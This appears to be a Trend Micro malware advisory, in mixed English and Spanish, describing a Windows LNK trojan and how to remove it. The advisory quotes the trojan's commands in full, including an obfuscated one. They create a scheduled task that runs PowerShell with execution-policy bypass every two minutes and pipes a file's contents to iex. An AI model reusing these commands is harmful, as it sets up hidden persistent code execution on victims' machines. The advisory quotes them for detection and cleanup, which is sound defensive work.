Author: Karen Ivy Titiwa   
 

HEUR:Trojan.WinLNK.Rufus.gen (KASPERSKY); Trojan.LNK.Agent (IKARUS)

 PLATFORM:

Windows

 OVER ALL RISK RATING:
 DAMAGE POTENTIAL::
 DISTRIBUTION POTENTIAL::
 REPORTED INFECTION:
 INFORMATION EXPOSURE:
Low
Medium
High
Critical

  • Threat Type:
    Trojan

  • Destructiveness:
    No

  • Encrypted:
     

  • In the wild::
    Yes

  OVERVIEW

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File size: 1,742 bytes
File type: LNK
Memory resident: Yes
INITIAL SAMPLES RECEIVED DATE: 06 de sierpnia de 2019

Detalles de entrada

It arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Instalación

Agrega los procesos siguientes:

  • %System%\cmd.exe" /c %os:~6,1%chta%os:~6,1%ks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "pow%tmp:~5,3%hell -ep bypass -%os:~0,3% 1 -c '&{cd %User Profile%; $g=F%os:~1,3%STR /S FOREGROUND agos*.* |%os:~6,1%elect -first 1;$g |iex}'";
  • schtasks /F /Create /TN "GO" /sc minute /MO 2 /ST 06:21 /TR "powershell -ep bypass -Win 1 -c '&{cd %User Profile%; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}'";

(Nota: %User Profile% es la carpeta de perfil del usuario activo, que en el caso de Windows 98 y ME suele estar en C:\Windows\Profiles\{nombre de usuario}, en el caso de Windows NT en C:\WINNT\Profiles\{nombre de usuario}, en el caso de Windows 2000(32-bit), XP y Server 2003(32-bit) en C:\Documents and Settings\{nombre de usuario} y en el caso de Windows Vista, 7, 8, 8.1, 2008(64-bit), 2012(64-bit) y 10(64-bit) en C:\Users\{nombre de usuario}).

)

Otros detalles

Hace lo siguiente:

  • It adds the following scheduled tasks:
    • Task Name = GO
    • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
    • Action = powershell -ep bypass -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

  SOLUTION

Minimum scan engine: 9.850
First VSAPI Pattern File: 15.284.02
First VSAPI Pattern Release Date: 07 de sierpnia de 2019
VSAPI OPR PATTERN-VERSION: 15.285.00
VSAPI OPR PATTERN DATE: 08 de sierpnia de 2019

Step 1

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 2

Los usuarios de Windows ME y XP, antes de llevar a cabo cualquier exploración, deben comprobar que tienen desactivada la opción Restaurar sistema para permitir la exploración completa del equipo.

Step 3

Deleting Scheduled Tasks

The following {Task Name} - {Task to be run} listed should be used in the steps identified below:

  • Task Name = GO
  • Trigger = At 6:21 AM {execution date} - After triggered, repeat every 00:02:00 indefinitely
  • Action = powershell -ep bypass  -Win 1 -c "&{cd C:\Users\dyituser_732; $g=FindSTR /S FOREGROUND agos*.* |select -first 1;$g |iex}"

    • For Windows 2000, Windows XP, and Windows Server 2003:

    1. Open the Windows Scheduled Tasks. Click Start>Programs>Accessories>
      System Tools>Scheduled Tasks.
    2. Locate each {Task Name} values listed above in the Name column.
    3. Right-click on the said file(s) with the aforementioned value.
    4. Click on Properties. In the Run field, check for the listed {Task to be run}.
    5. If the strings match the list above, delete the task.

    For Windows Vista, Windows 7, Windows Server 2008, Windows 8, Windows 8.1, and Windows Server 2012:

    1. Open the Windows Task Scheduler. To do this:
      • On Windows Vista, Windows 7, and Windows Server 2008, click Start, type taskschd.msc in the Search input field, then press Enter.
      • On Windows 8, Windows 8.1, and Windows Server 2012, right-click on the lower left corner of the screen, click Run, type taskschd.msc, then press Enter.
    2. In the left panel, click Task Scheduler Library.
    3. In the upper-middle panel, locate each {Task Name} values listed above in the Name column.
    4. In the lower-middle panel, click the Actions tab. In the Details column, check for the {Task to be run} string.
    5. If the said string is found, delete the task.

    Step 4

    Explorar el equipo con su producto de Trend Micro para limpiar los archivos detectados como Trojan.LNK.POWLOAD.AUSJSB En caso de que el producto de Trend Micro ya haya limpiado, eliminado o puesto en cuarentena los archivos detectados, no serán necesarios más pasos. Puede optar simplemente por eliminar los archivos en cuarentena. Consulte esta página de Base de conocimientos para obtener más información.


    Did this description help? Tell us how we did.